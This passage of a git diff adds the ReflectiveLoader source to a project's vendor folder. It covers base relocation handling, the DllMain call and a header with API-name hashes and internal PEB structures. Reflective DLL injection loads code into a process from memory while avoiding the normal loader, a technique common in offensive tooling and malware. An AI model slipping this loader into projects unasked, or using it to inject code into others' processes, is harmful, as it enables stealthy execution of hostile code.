5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/vendor/injection/ReflectiveLoader.h b/vendor/injection/ReflectiveLoader.h new file mode 100644 index 0000000..3e13533 --- /dev/null +++ b/vendor/injection/ReflectiveLoader.h @@ -0,0 +1,215 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include + +#ifdef _MSC_VER +#include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif + +RDI_INLINE DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +RDI_INLINE DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================//